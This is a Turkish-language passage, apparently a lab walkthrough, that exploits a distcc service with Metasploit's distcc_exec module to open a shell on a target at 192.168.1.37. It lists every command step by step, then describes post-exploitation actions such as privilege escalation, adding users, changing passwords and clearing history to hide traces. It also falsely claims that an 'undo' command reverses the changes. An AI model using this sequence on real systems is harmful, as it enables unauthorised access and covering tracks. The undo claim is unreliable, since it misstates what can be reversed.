- Bu exploiti kullanmak için use exploit/unix/misc/distcc_exec komutunu giriyorum.
- Exploitin hangi parametreleri gerektirdiğini görmek için show options komutunu kullanıyorum. Bu komut, hedef cihazın IP adresi (RHOST), açık port numarası (RPORT) ve exploitin çalıştıracağı komut (PAYLOAD) gibi parametreleri gösteriyor.
- Exploitin çalıştırabileceği farklı komutları görmek için show payloads komutunu kullanıyorum. Bu komut, hedef cihazda bir kabuk (shell) açmak, bir arka kapı (backdoor) oluşturmak, bir dosya indirmek veya çalıştırmak gibi çeşitli seçenekler sunuyor.
- Ben, hedef cihazda bir kabuk açmak istediğim için set payload cmd/unix/interact komutunu giriyorum. Bu komut, exploit başarılı olduğunda hedef cihazda bir kabuk açarak bana bir bağlantı sağlayacak.
- Hedef cihazın IP adresini ve açık port numarasını belirtmek için set rhost 192.168.1.37 ve set rport 3632 komutlarını giriyorum.
- Kendi cihazımın IP adresini belirtmek için set lhost 192.168.1.36 komutunu giriyorum.
- Exploiti çalıştırmak için exploit veya run komutunu giriyorum. Eğer exploit başarılı olursa, hedef cihazda bir kabuk açılacak ve bana komut girmem için bir terminal sunacak.
- Terminalde, hedef cihazın kullanıcısı ve işletim sistemi hakkında bilgi almak için whoami ve uname komutlarını kullanıyorum.
- Bu aşamada, hedef cihazda istediğim Linux komutlarını çalıştırabilirim. Örneğin, sudo su komutuyla yetki yükseltebilir, cp komutuyla dosya kopyalayabilir, rm komutuyla dosya silebilir, useradd komutuyla kullanıcı ekleyebilir, passwd komutuyla kullanıcı şifresini değiştirebilir, history -c komutuyla izleri silebilir, exit komutuyla bağlantıyı sonlandırabilir veya undo komutuyla yapılan değişiklikleri geri alabilirim.

